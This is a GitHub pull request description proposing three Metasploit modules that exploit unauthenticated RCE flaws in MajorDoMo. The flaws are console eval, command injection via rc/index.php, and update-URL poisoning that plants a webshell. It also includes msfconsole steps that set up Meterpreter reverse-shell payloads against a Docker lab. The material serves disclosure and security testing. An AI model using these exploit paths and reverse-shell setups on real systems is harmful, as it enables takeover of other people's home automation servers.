Add three MajorDoMo unauthenticated RCE modules#21000
Open
Chocapikk wants to merge 1 commit intorapid7:masterfrom
Open
Add three MajorDoMo unauthenticated RCE modules#21000Chocapikk wants to merge 1 commit intorapid7:masterfrom
Chocapikk wants to merge 1 commit intorapid7:masterfrom
Conversation
- CVE-2026-27174: Console eval RCE via missing exit after redirect - CVE-2026-27175: Command injection via rc/index.php + cycle_execs race condition - CVE-2026-27180: Supply chain RCE via update URL poisoning in saverestore module All three modules include documentation with Docker lab setup instructions.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hello Metasploit Team,
This PR adds three exploit modules for MajorDoMo, an open-source home automation platform. All three vulnerabilities are unauthenticated and affect every version up to and including the latest release. The fix is tracked in sergejey/majordomo#1177.
Blog post with full technical details: https://chocapikk.com/posts/2026/majordomo-revisited/
Modules
1.
exploit/multi/http/majordomo_console_eval_rce(CVE-2026-27174)Unauthenticated PHP eval via the admin console. A missing
exitafterredirect("/")inpanel.class.phpallows execution to continue into the AJAX handler, which passes user input directly toeval()viaevalConsole(). Single GET request to/admin.php.2.
exploit/multi/http/majordomo_cmd_injection_rce(CVE-2026-27175)Command injection via
rc/index.php. Theparamparameter is interpolated into double quotes withoutescapeshellarg()and queued into thesafe_execstable viasafe_exec(). Thecycle_execs.phpworker is web-accessible without authentication - the module starts it, waits for it to enter its polling loop, then injects the payload. The worker picks it up within one second and passes it toexec().3.
exploit/multi/http/majordomo_supply_chain_rce(CVE-2026-27180)Update poisoning via the saverestore module. Two unauthenticated GET requests: the first poisons
MASTER_UPDATE_URLto point to an attacker-controlled server, the second triggersautoUpdateSystem()which fetches a tarball and deploys it to the webroot viacopyTree(). The module serves a fake Atom feed and a tarball containing a PHP webshell.Targets
Verification
Docker Lab Setup (shared by all three modules)
See the module documentation for full
Dockerfile,entrypoint.sh, anddocker-compose.yml. MajorDoMo will be available athttp://127.0.0.1:8899.Module 1: Console Eval RCE
msfconsoleuse exploit/multi/http/majordomo_console_eval_rceset RHOSTS 127.0.0.1set RPORT 8899set PAYLOAD php/meterpreter/reverse_tcpset LHOST 172.17.0.1check- Verify it returnsVulnerablerun- Verify a Meterpreter session opens aswww-dataModule 2: Command Injection RCE
use exploit/multi/http/majordomo_cmd_injection_rceset RHOSTS 127.0.0.1set RPORT 8899set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcpset LHOST 172.17.0.1set FETCH_SRVHOST 172.17.0.1check- Verify it returnsVulnerablerun- Verify a Meterpreter session opens aswww-dataModule 3: Supply Chain RCE
use exploit/multi/http/majordomo_supply_chain_rceset RHOSTS 127.0.0.1set RPORT 8899set PAYLOAD php/meterpreter/reverse_tcpset LHOST 172.17.0.1set SRVHOST 172.17.0.1check- Verify it returnsVulnerablerun- Verify a Meterpreter session opens aswww-dataDocumentation